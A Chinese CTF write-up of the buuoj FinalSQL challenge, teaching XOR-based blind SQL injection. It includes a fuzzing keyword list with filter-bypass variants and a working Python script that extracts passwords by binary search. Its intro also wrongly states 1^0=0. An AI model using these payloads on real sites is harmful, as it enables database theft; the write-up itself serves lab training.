[极客大挑战 2019]FinalSQL
0x00 前言
考点:盲注,异或注入
- 异或'^'是一种数学运算,1^1=0 0^0=0 1^0=0,可以用来进行sql注入,当两条件相同时(同真同假)结果为假,当两条件不同时(一真一假)结果为真。
0x01 解题
- 进入题目页面,尝试在用户名密码处进行注入,做一下FUZZ测试:
大多数关键字都被过滤,下面附上我的我的FUZZ测试字典:
and
aNd
or
oR
oorr
select
sElect
union
unIon
union select
union/**/select
/**/
'
"
\
information_schema
^
&&
uniOn/**/select
- 点击上面的数字,发现URL发生变化:
猜想id可能是注入点,接着做FUZZ测试,''没有被过滤,输入11回显'ERROR',1^0回显'NO! Not this! Click others~~~',判断出为数字型注入。 - 给出我的exp:
import requests
url = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php'
flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
payload = "http://33e8c85b-d0d4-4777-9143-702ddf10ee0e.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
res = requests.get(url=payload)
if 'ERROR' in res.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
由于空格被过滤,用()代替,我这里payload直接写到了最后一步,猜解表名,字段名的payload我这里就不写了,直接去嵌套常规的联合查询语句即可。
用二分法速度还是很快的,效率上有很大提高。
拿到flag。